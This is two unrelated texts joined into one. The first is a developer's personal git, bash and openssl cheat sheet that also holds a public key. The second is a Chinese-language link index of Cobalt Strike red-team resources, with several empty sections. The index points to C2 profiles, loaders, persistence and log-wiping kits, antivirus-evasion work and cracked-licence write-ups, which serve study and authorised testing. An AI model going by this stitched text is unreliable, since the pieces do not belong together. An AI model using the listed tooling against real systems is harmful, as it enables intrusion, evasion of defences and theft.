function evaluation. Closure (implemented by setting a pointer in the lexical environment of a function to its containing lexical environment). LexicalEnvironments (blocks and functions), including slots, [[Scope]], runtime evaluation and execution. run to completion. strict mode. Prototypes. reflection for in, getOwnPropertyNames, getPropertyDescriptor, attributes. Controlling modification (freeze, seal etc). Number. Game loops and how they apply to modern single-page web applications with requestanimationframe.
Symbols, Proxies.
angular.element('[data-test="quidget_6"] .quidget__section--prices').scope().pricesCtrl._model.offer
Get the injector:
angular.element('.ng-scope').injector().get('$log').log('ha');
Run in background:
<command> &
Bring a background process to the forground in bash:
fg <pid>
Ensure command runs even when command window is closed:
nohop <command> &
Splunk search
sourcetype=efx_evolvefx_uips 13142 searchForCounterparties
sourcetype=efx_evolvefx_uips_external 13142 searchForCounterparties
C:\dev\,-components/**/*,-node_modules/**/*,-dist/**/*
C:\dev\,-components/**/*,-node_modules/**/*
http://html5devconf.com/schedule.html
C:\dev\,-components/**/*.*,-node_modules/**/*.*
C:\dev\,-components/**/*.*,-node_modules/**/*.*
function bower_install() {
bower install
if [ "$?" -ne 0 ]; then bower_install; fi
}
bower_install
echo ' ========== \n bower_install done \n =============='
COMMAND="bower install;"; start bash -c "${COMMAND}"; start bash -c "${COMMAND}"; start bash -c "${COMMAND}"; start bash -c "${COMMAND}";
angular.element('[data-test="quidget_6"] .quidget__section--prices').scope().pricesCtrl._model.offer
gulp integration 2>&1 | tee /c/sandbox/build.log
-:user=noemail:**
-:user=buildagent:**
-:user=%env.BUILD_USER%:**
Git Cheat Sheet
====
Bash
===
- OSX uses `~/.bash_profile` instead of `.bashrc` file
- Use the `open` command on OSX to open an application
DNS Stuff
Check DNS entries:
`host -a codemasters.com`
Check nameservers:
`host -t ns bj.ma`
Find the domain associated with an IP:
`host 192.168.1.1`
Fast delete on windows:
rmdir /s /q <path to directory>
##Less
Forward Search
/ – search for a pattern which will take you to the next occurrence.
n – for next match in forward
N – for previous match in backward
Backward Search
? – search for a pattern which will take you to the previous occurrence.
n – for next match in backward direction
N – for previous match in forward direction
End of file: `shift+g`
Previous page: `b`
Next page: `spacebar`
Next line: `j`
Previous line: `k`
Live watch: `shift+f`
.bashrc for windows:
GetBranch()
{
cat /c/dev/evolve/.git/HEAD | sed 's+^ref: refs/heads/++'
}
export PS1="\[\e]0;\w\a\]\n\[\e[32m\]\u@\h \[\e[36m\]\$(GetBranch) \[\e[33m\]\w \[\e[0m\] \n\$ [go|b|g|gr|gt|gtc|tce|tcs|lo|sit|sta]:"
alias go="cd /c/dev/evolve/execution-app"
alias g="git"
alias gt="grunt test"
alias gs="grunt server"
alias gr="grunt"
alias gtc="grunt tc"
alias b="start bash"
alias lo="start chrome http://localhost:23100/components/rig/"
cd /c/dev/evolve/execution-app
##Git
alias g='grunt'
###Overview
working directory -> index -> local repository -> remote repository (e.g. origin server)
^ ^ ^ ^
| | | |
You do your work here. | |___ |
| | |
You prepare your commits here. | |
| |
You commit here. |
|
You push & pull here
to integrate with
others' work.
Configure bash prompt: echo $PS1
PS1="my new prompt"
.bashrc
GetBranch()
{
cat /c/dev/evolve/.git/HEAD | sed 's+^ref: refs/heads/++'
}
export PS1="\[\e]0;\w\a\]\n\[\e[32m\]\u@\h \[\e[36m\]\$(GetBranch) \[\e[33m\]\w \[\e[0m\] \n\$ [go|g|b|gt|gtc]:"
alias go="cd /c/dev/evolve/execution-app"
alias g="git"
alias gt="grunt test"
alias gtc="grunt tc"
alias b="start bash"
cd /c/dev/evolve/execution-app
Show tags: `git log --tags --decorate=full`
Count lines: `git branch -r | wc -l `
Git show a merge: git log, notice the commit message, invert the shas and git diff a..b
Cofiguree a tracking branch. track a remote: git branch -u upstream/foo
###Configuration
`git config --global alias.st status &&`
`git config --global alias.br branch &&`
`git config --global alias.ch checkout &&`
`git config --global alias.co commit &&`
`git config --global alias.ad add &&`
`git config --global alias.pu pull &&`
`git config push.default current`
`git config --global user.name "Ben Aston"`
`git config --global user.email "ben@bj.ma"`
`git config --global apply.whitespace nowarn`
`git config core.autocrlf false`
`git config --global merge.tool tortoisemerge` //optional
`git config --global mergetool.tortoisemerge.cmd '"C:/Program Files/TortoiseGit/bin/TortoiseGitMerge.exe" -base:"$BASE" -theirs:"$REMOTE" -mine:"$LOCAL" -merged:"$MERGED"'`
Create a file named `.gitignore` in the root of the project and populate it with:
```
.DS_Store
.idea
node_modules
reports
.tmp
```
Diff between two actual commits themselves: ```diff <(git show 123456) <(git show abcdef)```
#####Check the current config `git config --list`
#####Check a single setting `git config <setting-name>`
----
###Bisect
`git bisect start`
`git bisect bad # Current version is bad`
`$ git bisect good v2.6.13-rc2 `
----
###Merging
Ours is taken to be the code being merged in (pulled from).
`git checkout --ours / --theirs <filename>`
----
###Branches
#####Checkout remote branch and track `git checkout -b test origin/test` git ch blotter-integration-spike
#####View changes between branches `git diff <branch-a> <branch-b> //shows changes introduced moving from branch-a to branch-b`
#####List branches by "creator" `git for-each-ref --format='%(committerdate) %09 %(authorname) %09 %(refname)' | sort -k5n -k2M -k3n -k4n | grep "<committer name>"`
#####Show from another branch `git show branch-1:path/file-name.js > ~/Desktop/foo.js`
#####Compare two branches `git diff --name-status <branch-a>..<branch-b>`
#####Difference between a single file on two branches `git diff master~20:<file-name> <file-name>`
#####Filter by type of change `git diff --diff-filter=M branch-a..branch-b --name-status`
#####Show all local branches `git branch`
#####Switch to an existing local branch `git checkout <branch name>`
#####Remove all unstaged changes `git checkout .`
#####Diff two branches `git diff HEAD..<branch-name>`
#####Create a new branch `git checkout -b <branch name>`
#####Delete a local branch `git branch -D <branch name>`
#####Pull from another branch `git pull . master`
#####Switch back to the branch you were previously on `git checkout -`
#####Rename a branch `git branch -m <new-name-no-spaces>`
----
###Remotes
#####Undo push
In general, you don't bother with this because it destroys the tree.
```
git checkout alpha-0.3.0
git reset --hard cc4b63bebb6
git push origin +alpha-0.3.0
```
Instead you should use `revert`:
Revert last n commits:
```git revert -n HEAD~n..HEAD```
```git revert -m 1 <sha>```
#####List remote branches `git branch -r`
#####Reset to remote HEAD `git reset --hard origin <branch-name>`
#####Configure tracking information `git branch --track <local> <remote/branch>`
#####Delete remote branch `git push origin :<branch-name>`
####Replay your new commits on top of everyone else's work
`git fetch && git rebase master` (if you want to rebase against `master`)
#####Remove remote `git remote rm <remote-name>`
#####Set remote URL `git remote set-url heroku git@heroku.com:intense-dusk-2508.git`
#####View tracking information `git branch -vv`
#####Bring yourself up to date with another branch in a clean way `git rebase <branch-name-to-pull-from>`.
#####Undo a merge use `git reset --hard`
#####Create remote branch `git checkout -b foo && git push origin foo` (pushing creates the branch)
#####Pull via rebase `git pull -r`
#####Reversion of a remote change
1. reset your local index to the desired sha
`git reset --hard sha`
2. move the branch pointer back to the HEAD immediately preceding the HEAD at the desired SHA
The 'soft' means that the changes made between the HEAD-1 and HEAD at the desired SHA
are left in place and are visible as 'new' changes
`git reset --soft HEAD@{1}`
`git commit -m "Revert to sha"`
#####Reset file to specific SHA
`git checkout abcde file/to/restore`
##### Ignore specific files in diff
`git diff cd876000d7f -- . ':(exclude)lib/*'`
----
###The Index
#####Remove untracked files and directories (WARNING this will remove files) `git clean -df` (`-n` does a dry run)
#####Delete a file `git rm <file>`
#####Show staged changes (i.e. changes in the index) `git diff --cached`
#####Un-add a file `git reset <filename>`
#####Un-add everything staged `git reset` or `git rm -r --cached .` (note the dot).
----
###Cherry Picking
#####Cherry pick from another repo
1. `git remote add my-repo-to-pull-from /c/my-location/my-repo-to-pull-from/.git`
1. `git fetch my-repo-to-pull-from`
1. `git cherry-pick <sha-in-the-repo-to-pull-from>`
#####Pull a single commit `git cherry-pick <sha>`, `git mergetool`, `git cherry-pick --continue`
----
###Commits
#####View author of changes within a file `git blame -c Src/Editorial.Core/Queries/InsertReportIssueQuery.cs`
#####Show all files affected by commit `git diff 028343b..c252785 --name-status`
#####Find a commit with a commit message matching an expression `git log --grep=C211676`
#####Reverse log from a commit `git log --reverse --ancestry-path <sha>^..master` (reset to HEAD first)
#####View the modifications associated with a commit `git show <sha>`
#####Find a commit by message `git log --grep <message-regex>`
#####Revert To Commit `git reset --hard <SHA of commit>`
#####Re-play all your work not yet pushed onto the top of the remote `git rebase master`
#####Interactively modify your commits `git rebase -i <commit-sha-from-which-you-want-to-rebase>` //Most recent at the bottom of the commit list. Fix-up will
e.g. `git rebase -i HEAD~6` (last six commits).
#####Reset to a commit n commits ago `git reset --hard HEAD~n`
#####Show changes for a file in a commit `git show SHA <filename>`
#####Show file at a specific revision `git show SHA:<filename>`
#####Include a diff in your commit message `git commit -v`
#####Write a specific version to a file `git show SHA:<filename> > output-filename`
#####View commits between dates `git log --name-status --since="17th August 2012" --until="18th August 2012" --author="Ben"`
#####Show all changes in a commit `git show --name-status SHA`
#####Amend a commit `git commit --amend` //...and then "i" to insert text, "ESC" to escape insertion mode, "wq" to write the message and quit the text editor
#####Reset a single file to a specific commit `git checkout <sha> file`
#####Show the log of commits for a single user `git log --author="Jon"`
#####Show the history for a file, following renames `git log --follow -p file`
#####Show the changes associated with a commit `git show <sha>`
####Diff a single file with index: `git diff -- <file name> or git diff HEAD -- <file name>`
#####Show changes made in a single commit for a single file `git show <sha> <file>`
#####Diff between two versions `git diff 65d18cf7^1..65d18cf7 <filename>`
#####Create patch from last commit `git show HEAD > some-patch0001.patch`
#####File names changed between commits `git diff --name-only HEAD^1...HEAD`
#####Create patch for specific commit `git format-patch HEAD^ --stdout > patchfile.patch`
####Show commits from *all* branches `git log --all` (plain git log just shows the commits leading up to the current HEAD)
####Change timestamp of commit `git commit --amend --date="Mon Feb 17 14:14:14 2014 +0000"`
####Change the author of a commit `git commit --amend --author "New Author Name <email@address.com>" `
----
###Tags
####Create tag
`git tag -a 0.0.2 -m "Tagging 0.0.2 <Ben>"`
----
###Log
####Graph changes over time
`git log --graph --decorate --oneline --author="benaston" --since="11 Feb"`
####View diffs in log
`git log -p` or;
`git log -p <filename>`
####Log for single file
`git log --name-status <filename>`
####Show changes over time
`git log`
####Log at certain times
`git log --name-status --since="17th AUgust 2012" --until="18th August 2012" --author="Ben"`
####Search log for a word
`git log --name-status --grep Ben` or `git log --name-status | grep Ben -A 7 | less`
####Show the log around that sha
`git log sha`
##Stashing
####Stash everything not added (good for web.config)
`git stash --keep-index`
####Stash your work
`git stash`
####Stash only some of your changes
`git add <filenames-you-want>` `git stash --keep-index`
####Un-stash your work
`git stash apply`
####Associate a message with a stash
`git stash save "message associated with stash"`
###Recovering from a major screw-up (lost work)
####Find work that has been "lost"
`git reflog --grep "Known commit message."`
----
This is how core.autocrlf appears to work currently (or at least since v1.7.2 from what I am aware):
core.autocrlf = true
Text files checked-out from the repository will have LF EOL characters normalized to CRLF in your working tree.
Text files in your working tree with CRLF EOL characters are normalized to LF when committed back to the repository.
core.autocrlf = input
Text files checked-out from the repository will keep original EOL characters in your working tree.
Text files in your working tree with CRLF EOL characters are normalized to LF when committed back to the repository.
core.autocrlf = false
core.eol dictates EOL characters in the text files of your working tree.
core.eol = native by default, which means Windows EOLs are CRLF and Unix-based OS are LF in working trees.
Repository gitattributes settings determines EOL character normalization for commits to the repository (default is normalization to LF EOL characters).
Download tortoisegit from here: (when installing, don't bother with the shell exension).
git config --global merge.tool tortoisemerge
git config --global mergetool.tortoisemerge.cmd '"C:/Program Files/TortoiseGit/bin/TortoiseGitMerge.exe" -base:"$BASE" -theirs:"$REMOTE" -mine:"$LOCAL" -merged:"$MERGED"'
Add to `.gitconfig`:
[merge]
tool = tortoisemerge
[mergetool "tortoisemerge"]
path = C:\\Program Files\\TortoiseGit\\bin\\tortoisegitmerge.exe
Fetch brings all the objects from a remote so that you are then up to date.
Merge combines changes into a branch.
Pull does a fetch and a merge.
Configuring a local branch to be a tracking branch enables use fo push and pull without arguments.
To configure a tracking branch, you need to set the merge attribute of the local branch in the .gitconfig.
e.g. `git branch --track <local> <remote/branch>`
**Index is retained across branch switching.**
**Reset to last pulled version:** `git reset --hard tfs/default`
**Reset to very latest in the remote TFS:** `git-tfs fetch; git reset --hard tfs/default`
**View current work:** `git status`
**Fetch and merge in other people's commits:** `git-tfs pull`
**Push:** `git-tfs checkintool -i default`
##Bash Shortcuts
**Clear Screen:** `CTRL+L`
**Clear line:** `CTRL+U`
**History:** `history`
**Explorer in current directory:** `explorer .`
**History search:** `CTRL+R` (then start typing the command)
Keep index and stash: `git stash --keep-index`
Best git tutorial bar none: http://www.atlassian.com/git/tutorial/git-basics
Find latest version of a deleted file: `git log --name-status --follow -p -- Src/DnR.Editorial.App/Controllers/LoggerController.cs`
Pull from a remote and avoid the merge commit: `git pull --rebase`
View file at revision:
`git show <revision>:./file/path.foo`
Differences between two branches `git diff --name-status master..branch`
for $doc in doc() return xdmp:document-delete(xdmp:node-uri($doc))
Undo `git add .`: `git reset`
Grepping: `git log --grep='\[92\]'` - note the single quotes!
Reset single file to remote head git checkout tfs/default file-name
Reset to remote head: git reset --hard origin/HEAD (using git-tfs: git reset --hard tfs/default)
git branch -m <branch name> <new branch name>
View diff with remote for single file: `git diff remote/uri file`
Show file at a revision: `git show HEAD~4:index.html` or `git show 67834b:index.html`
`sudo service mongodb start`
`sudo service mongodb stop`
##VI
`/` to start search.
-------------
PKI Setup & Encryption
http://www.czeskis.com/random/openssl-encrypt-file.html
Generate Key
openssl rand -base64 32 > key.bin
Encrypt Key
openssl rsautl -encrypt -inkey id_rsa.pub.pem -pubin -in key.bin -out key.bin.enc
Encrypt File
openssl enc -aes-256-cbc -salt -in SECRET_FILE -out SECRET_FILE.enc -pass file:./key.bin
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoTOfudMVg9MgZ7g1jKQC
+qB3rhnS/b7dEvpVgVs9DTzAo8tNBxQJa0lb0YsKpGCXp1+MftBY1xX+TdG0FFA8
kQt6YFRUDLc6uzv4YUAizBgImTjSk9EzjI5VS+dfd/AwxnZFMpOYpBHtVYWrKEtB
R9VukavUC04hDP3vyaGLda4LlhYyke1eOWsNwBhN4k+Wr0EKXkg2dQPJT/hS4pbc
j2uydse5YBFNAqcSqOP8cl2bUAZbCAm8EFpQHcEXTVn+xSupLCN7ZAUXcX07URQ7
1pWJXeKyg02nwkOnqVn9gbHK/3aJkJ0GhJPk/hgGEMSgUgWzfruvcJCrx/MfHmd9
bwIDAQAB
-----END PUBLIC KEY-----
ns6i3/m/PeHZ3SHSKk7AjM/H9IZJyoo/n85EpwS0CGY=
|
# 《深入理解Cobalt Strike》
这里记录收集优秀的CobaltStrike内容，包括优秀的资源工具或优秀的项目代码等。本项目大部分工具都未检测是否存在后门，务必在虚拟机下运行。CobaltStrike思想是攻击者的进步。作者：[0e0w](https://github.com/0e0w)
本项目创建时间为2021年8月3日。最近的一次更新时间为2023年8月4日。
- [01-CobaltStrike资源](https://github.com/0e0w/Cobalt-Strike#0x01-cobaltstrike%E8%B5%84%E6%BA%90)
- [02-CobaltStrike程序](https://github.com/0e0w/Cobalt-Strike#0x02-cobaltstrike%E7%A8%8B%E5%BA%8F)
- [03-CobaltStrike功能](https://github.com/0e0w/Cobalt-Strike#0x03-cobaltstrike%E5%8A%9F%E8%83%BD)
- [04-CobaltStrike扩展](https://github.com/0e0w/Cobalt-Strike#0x04-cobaltstrike%E6%89%A9%E5%B1%95)
- [05-CobaltStrike研究](https://github.com/0e0w/Cobalt-Strike#0x05-cobaltstrike%E7%A0%94%E7%A9%B6)
- [06-CobaltStrike魔改](https://github.com/0e0w/Cobalt-Strike#0x06-cobaltstrike%E9%AD%94%E6%94%B9)
- [07-CobaltStrike免杀](https://github.com/0e0w/Cobalt-Strike#0x07-cobaltstrike%E5%85%8D%E6%9D%80)
- [08-CobaltStrike参考](https://github.com/0e0w/Cobalt-Strike#0x08-cobaltstrike%E5%8F%82%E8%80%83)
## 01-CobaltStrike资源
- https://github.com/search?q=CobaltStrike
- https://github.com/topics/cobalt-strike
- https://github.com/topics/cobaltstrike
一、官方手册
- [ ] https://download.cobaltstrike.com/downloads/csmanual44.pdf
二、基础教程
- [ ] https://wiki.wgpsec.org/knowledge/intranet/Cobalt-Strike.html
三、视频教程
四、其他资源
- [ ] https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet
- [ ] https://github.com/cisagov/ansible-role-cobalt-strike
- [ ] https://github.com/hattmo/c2profilejs
- [ ] https://github.com/jan-call/Cobaltstrike-Plugins
- [ ] https://github.com/REW-sploit/REW-sploit
- [ ] https://github.com/geemion/Khepri
- [ ] [【知识回顾】Cobalt Strike 4.0 认证及修补过程](https://rcoil.me/2020/11/%E3%80%90%E7%9F%A5%E8%AF%86%E5%9B%9E%E9%A1%BE%E3%80%91Cobalt%20Strike%204.0%E8%AE%A4%E8%AF%81%E5%8F%8A%E4%BF%AE%E8%A1%A5%E8%BF%87%E7%A8%8B/)
- [ ] [CobaltStrike4.0无Hook蛮力Cracked License思路](https://ca3tie1.github.io/post/cobaltstrike40-wu-hook-man-li-cracked-license-si-lu/)
- [ ] https://github.com/Tw1sm/HTTPS-MalleableC2-Config
- [ ] https://github.com/bashexplode/cs2webconfig
- [ ] https://github.com/MichaelKoczwara/Awesome-CobaltStrike-Defence
- [ ] https://github.com/cisagov/teamserver-packer
- [ ] https://github.com/Cerbersec/DomainBorrowingC2
- [ ] https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
- [ ] https://github.com/XRSec/Docker-CobaltStrike
- [ ] https://wbglil.gitbook.io/cobalt-strike
- [ ] https://github.com/akkuman/EvilEye
- [ ] https://github.com/wsummerhill/CobaltStrike_RedTeam_CheatSheet
- [ ] https://github.com/splunk/melting-cobalt
- [ ] https://github.com/AlphabugX/csOnvps
- [ ] https://github.com/warhorse/ansible-role-cobaltstrike-docker
- [ ] https://github.com/kluo84/CS-notes
- [ ] https://github.com/lovechoudoufu/cobaltstrike4.4_cdf
- [ ] https://www.anquanke.com/post/id/269539
- [ ] https://github.com/rmartinsanta/cs-dns-parser
- [ ] https://github.com/outflanknl/C2-Tool-Collection
- [ ] https://xz.aliyun.com/t/11404
- [ ] https://tttang.com/archive/1631
- [ ] https://xz.aliyun.com/t/11508
- [ ] https://tttang.com/archive/1662
- [ ] https://bbs.pediy.com/thread-273749.htm
- [ ] https://www.anquanke.com/post/id/278690
- [ ] https://xz.aliyun.com/t/11662
- [ ] https://github.com/XXC385/Cobalt-Strike-Start
- [ ] https://www.anquanke.com/post/id/285270
- [ ] https://xz.aliyun.com/t/12094
- [ ] https://www.secpulse.com/archives/196736.html
## 02-CobaltStrike程序
## 03-CobaltStrike功能
## 04-CobaltStrike扩展
- https://github.com/zer0yu/Awesome-CobaltStrike
- https://www.cobaltstrike.com/aggressor-script/index.html
- https://payloads.online/archivers/2020-03-02/4/
- http://sleep.dashnine.org/manual/
- https://github.com/Cobalt-Strike/community_kit
- https://cobalt-strike.github.io/community_kit
一、Malleable-C2
- [ ] https://github.com/Tylous/SourcePoint
- [ ] https://github.com/FortyNorthSecurity/C2concealer
- [ ] https://github.com/threatexpress/malleable-c2
- [ ] https://github.com/vestjoe/cobaltstrike_services
- [ ] https://github.com/threatexpress/cs2modrewrite
- [ ] https://github.com/Cobalt-Strike/Malleable-C2-Profiles
- [ ] https://github.com/rsmudge/Malleable-C2-Profiles
- [ ] https://github.com/threatexpress/random_c2_profile
- [ ] https://github.com/BC-SECURITY/Malleable-C2-Profiles
- [ ] https://github.com/D00Movenok/goMalleable
- [ ] https://github.com/Peithon/JustC2file
二、External-C2
- [ ] https://github.com/Und3rf10w/external_c2_framework
- [ ] https://github.com/mdsecactivebreach/Browser-ExternalC2
- [ ] https://github.com/SpiderLabs/DoHC2
- [ ] https://github.com/outflanknl/external_c2
- [ ] https://github.com/rasta-mouse/ExternalC2.NET
- [ ] https://github.com/Flangvik/CobaltBus
- [ ] https://github.com/wikiZ/RedGuard
三、UDRL：User Defined Reflective Loader
- [ ] https://github.com/mgeeky/ElusiveMice
- [ ] https://github.com/SecIdiot/TitanLdr
- [ ] https://github.com/boku7/CobaltStrikeReflectiveLoader
四、BOFs：Beacon Object Files
- https://github.com/BOFs/BOFs
- https://github.com/Cerbersec/KillDefenderBOF
五、Aggressor Scripts
- https://github.com/topics/aggressor
- [ ] https://github.com/001SPARTaN/aggressor_scripts
- [ ] https://github.com/0x727/AggressorScripts_0x727
- [ ] https://github.com/harleyQu1nn/AggressorScripts
- [ ] https://github.com/bluscreenofjeff/AggressorScripts
- [ ] https://github.com/jordanpotti/opsec-aggressor
- [ ] https://github.com/mgeeky/cobalt-arsenal
- [ ] https://github.com/Cobalt-Strike/beacon_health_check
- [ ] https://github.com/RCStep/CSSG
- [ ] https://github.com/Verizon/redshell
- [ ] https://github.com/EspressoCake/Aggressor_Scripts
- [ ] https://github.com/darkoperator/vscode-language-aggressor
- [ ] https://github.com/threatexpress/cobaltstrike_payload_generator
- [ ] https://github.com/outflanknl/HelpColor
- [ ] https://github.com/capt-meelo/Beaconator
- [ ] https://github.com/NVISOsecurity/cobalt-strike-notifier
- [ ] https://github.com/FortyNorthSecurity/AggressorAssessor
- [ ] https://github.com/outflanknl/Dumpert
- [ ] https://github.com/killswitch-GUI/CobaltStrike-ToolKit
- [ ] https://github.com/Und3rf10w/Aggressor-scripts
- [ ] https://github.com/vysecurity/Aggressor-VYSEC
- [ ] https://github.com/rasta-mouse/Aggressor-Script
- [ ] https://github.com/422926799/csplugin
- [ ] https://github.com/Peco602/cobaltstrike-aggressor-scripts
- 上线提醒
- [ ] [CS_Mail_Tip](https://github.com/0x50j/CS_Mail_Tip)
- [ ] WeChatPush
- [ ] https://github.com/Daybr4ak/C2ReverseProxy
- [ ] https://github.com/teamssix/dingding_cs_notice
- [ ] https://github.com/lintstar/CS-PushPlus
- [ ] https://github.com/lintstar/CS-ServerChan
- 持久上线
- [ ] https://github.com/0xthirteen/StayKit
- [ ] https://github.com/TheKingOfDuck/XSS-Fishing2-CS
- [ ] https://github.com/yanghaoi/CobaltStrike_CNA
- [ ] https://github.com/improsec/SharpEventPersist
- [ ] https://github.com/Richard-Tang/Tomcat2CS
- 虚拟上线
- [ ] https://github.com/Doneone/happy_cs
- 权限提升
- [ ] weichi
- [ ] [ElevateKit](https://github.com/rsmudge/ElevateKit)
- [ ] [Aggressor-Script](https://github.com/rasta-mouse/Aggressor-Script)
- [ ] [SweetPotato_CS](https://github.com/Tycx2ry/SweetPotato_CS)
- 漏洞扫描
- [ ] [CVE-2018-4878](https://github.com/vysecurity/CVE-2018-4878)
- [ ] [CVE-2020-0796](https://github.com/Rvn0xsy/CVE_2020_0796_CNA)
- [ ] [MS17-010](https://github.com/phink-team/Cobaltstrike-MS17-010)
- 流量隧道
- [ ] [UploadAndRunFrp](https://github.com/Ch1ngg/AggressorScript-UploadAndRunFrp)
- [ ] https://github.com/m3rcer/Chisel-Strike
- 痕迹清理
- [ ] [EventLogMaster](https://github.com/QAX-A-Team/EventLogMaster)
- [ ] [Phant0m_cobaltstrike](https://github.com/p292/Phant0m_cobaltstrike)
- 近源攻击
- [ ] https://github.com/AdminTest0/badusb_cobaltstrike
六、Kit
- [x] [神器獬廌](https://github.com/BOFs/HAETAE)
- [x] [梼杌](https://github.com/pandasec888/taowu-cobalt-strike)
- [x] [LSTAR](https://github.com/lintstar/LSTAR)
- [x] [Erebus](https://github.com/DeEpinGh0st/Erebus)
- [ ] [巨龙拉冬](https://github.com/k8gege/Aggressor)
- [ ] [Ladon](https://github.com/k8gege/Ladon)
- [ ] [CrossC2](https://github.com/gloxec/CrossC2)
- [ ] [CrossC2Kit](https://github.com/CrossC2/CrossC2Kit)
- [ ] https://github.com/darkr4y/geacon
- [ ] https://github.com/RedTeamWing/WingKit
- [ ] [Cobalt-Strike-Aggressor-Scripts](https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts)
- [ ] https://github.com/wafinfo/cobaltstrike
- [ ] https://github.com/Adminisme/ServerScan
- [ ] https://github.com/SeaOf0/CSplugins
- [ ] https://github.com/k1d0ne/cobaltstrike_plugin
- [ ] https://github.com/9bie/Slacker
七、其他内容
- [ ] https://github.com/bitsadmin/nopowershell
- [ ] https://github.com/vysecurity/ANGRYPUPPY
- [ ] https://github.com/TheKingOfDuck/XSS-Fishing2-CS
- [ ] https://github.com/timwhitez/XSS-Phishing
- [ ] https://github.com/alphaSeclab/cobalt-strike
- [ ] https://github.com/bitsadmin/fakelogonscreen
- [ ] https://github.com/Al1ex/CSPlugins
- [ ] https://github.com/josephkingstone/cobalt_strike_extension_kit
- [ ] https://github.com/isafe/cobaltstrike_brute
- [ ] https://github.com/ryanohoro/csbruter
- [ ] https://github.com/1135/1135-CobaltStrike-ToolKit
- [ ] https://github.com/cube0x0/SharpeningCobaltStrike
- [ ] https://github.com/Cliov/Arsenal
- [ ] https://github.com/outflanknl/Zipper
- [ ] https://github.com/outflanknl/Spray-AD
- [ ] https://github.com/Apr4h/CobaltStrikeScan
- [ ] https://github.com/SecIdiot/CobaltPatch
- [ ] https://github.com/Rvn0xsy/Cobaltstrike-atexec
- [ ] https://github.com/aleenzz/Cobalt_Strike_wiki
- [ ] https://teamssix.com/year/201023-192553.html
- [ ] https://github.com/Lz1y/SyncDog
- [ ] https://github.com/Freakboy/CobaltStrike
- [ ] https://github.com/Daybr4ak/C2ReverseProxy
- [ ] https://github.com/rasta-mouse/Aggressor-Script
- [ ] https://github.com/EncodeGroup/AggressiveGadgetToJScript
- [ ] https://github.com/bytecod3r/Cobaltstrike-Aggressor-Scripts-Collection
- [ ] https://github.com/Sifter-Ex/cPlug
- [ ] https://github.com/rsmudge/cortana-scripts
- [ ] https://github.com/dcsync/pycobalt
- [ ] https://github.com/uknowsec/SharpToolsAggressor
- [ ] https://www.cnblogs.com/backlion/p/14000269.html
- [ ] https://github.com/hayasec/360SafeBrowsergetpass
- [ ] https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet
- [ ] https://github.com/sk3w/beacon-object-files
- [ ] https://xz.aliyun.com/t/8557
- [ ] https://www.freebuf.com/articles/web/255876.html
- [ ] https://github.com/Ridter/cs_custom_404
- [ ] https://github.com/medasz/CobaltStrike4.0
- [ ] https://github.com/c1y2m3/FileSearch
- [ ] https://github.com/bopin2020/NetUser
- [ ] https://github.com/qigpig/bypass-beacon-config-scan
- [ ] https://github.com/slaeryan/DetectCobaltStomp
- [ ] https://github.com/breakid/SharpUtils
- [ ] https://github.com/rmikehodges/cs-ssl-gen
- [ ] https://github.com/Rvn0xsy/Cobaltstrike-atexec
- [ ] https://github.com/z1un/Z1-AggressorScripts
- [ ] https://github.com/Te-k/cobaltstrike
- [ ] https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet
- [ ] https://github.com/RedXRanger/StageStrike
- [ ] https://github.com/outflanknl/Zipper
- [ ] https://github.com/Ridter/CS_Chinese_support
- [ ] https://github.com/0xthirteen/MoveKit
- [ ] https://github.com/SecIdiot/Beacon
- [ ] https://github.com/xx0hcd/Malleable-C2-Profiles
- [ ] https://github.com/Ridter/cs_custom_404
- [ ] https://github.com/nccgroup/pybeacon
- [ ] https://github.com/Skactor/cs-scripts
- [ ] https://www.svenbeast.com/post/ny5NkDd40
- [ ] https://github.com/j5s/Automatic-permission-maintenance
- [ ] https://github.com/mgeeky/RedWarden
- [ ] https://github.com/Lz1y/GECC
- [ ] https://github.com/Daybr4ak/C2ReverseProxy
- [ ] https://github.com/Twi1ight/CSAgent
- [ ] https://github.com/ORCA666/Cobalt-Wipe
- [ ] https://github.com/xorrior/raven
- [ ] https://github.com/xinbailu/TiEtwAgent
- [ ] https://github.com/GeorgePatsias/ScareCro
- [ ] https://github.com/burpheart/CS_mock
- [ ] https://github.com/huoji120/CobaltStrikeDetected
- [ ] https://github.com/Mikasazero/Cobalt-Strike
- [ ] https://github.com/D1sAbl4/samdump
- [ ] https://github.com/ASkyeye/CobaltPatch
- [ ] https://github.com/boku7/halosgate-ps
- [ ] https://github.com/CCob/BeaconEye
- [ ] https://github.com/Sentinel-One/CobaltStrikeParser
- [ ] https://github.com/hariomenkel/CobaltSpam
- [ ] https://github.com/cisagov/ansible-role-cobalt-strike
- [ ] https://github.com/dcsync/pycobalt
- [ ] https://github.com/optiv/Registry-Recon
- [ ] https://github.com/wgpsec/Automatic-permission-maintenance
- [ ] https://github.com/Kara-4search/APC_ShellcodeExecution_CSharp
- [ ] https://github.com/fitzgeralddaniel/HTTP_File_Covert_Channel
- [ ] https://github.com/med0x2e/SigFlip
- [ ] https://github.com/mstxq17/CVE-2021-1675_RDL_LPE
- [ ] https://github.com/CPO-EH/SharpZeroLogon
- [ ] https://github.com/wikiZ/service_cobaltstrike
- [ ] https://github.com/chryzsh/ansible-role-cobalt-strike
- [ ] https://github.com/kingz40o/Aggressor_dingding
- [ ] https://github.com/howmp/CobaltStrikeDetect
- [ ] https://github.com/JUICY00000/HellLoader
- [ ] https://github.com/Peithon/JustC2file
- [ ] https://github.com/Yihsiwei/SearchForCS
- [ ] https://github.com/hlldz/Phant0m
- [ ] https://github.com/JDArmy/RPCSCAN
- [ ] https://github.com/Cracked5pider/KaynStrike
- [ ] https://github.com/kyleavery/AceLdr
- [ ] https://github.com/matthieu-hackwitharts/UnhookMe
- [ ] https://github.com/ScriptIdiot/BOF-patchit
- [ ] https://github.com/nopbrick/SeeProxy
- [ ] https://github.com/WKL-Sec/HiddenDesktop
- [ ] https://github.com/mertdas/PrivKit
## 05-CobaltStrike研究
一、逆向分析
- [ ] https://github.com/verctor/Cobalt_Homework
二、源码阅读
三、程序特征
- [ ] https://github.com/WBGlIl/Beacon_re
- [ ] https://github.com/NoOne-hub/Beacon.dll
## 06-CobaltStrike魔改
为什么需要魔改？需要魔改那些内容？如何进行程序魔改？
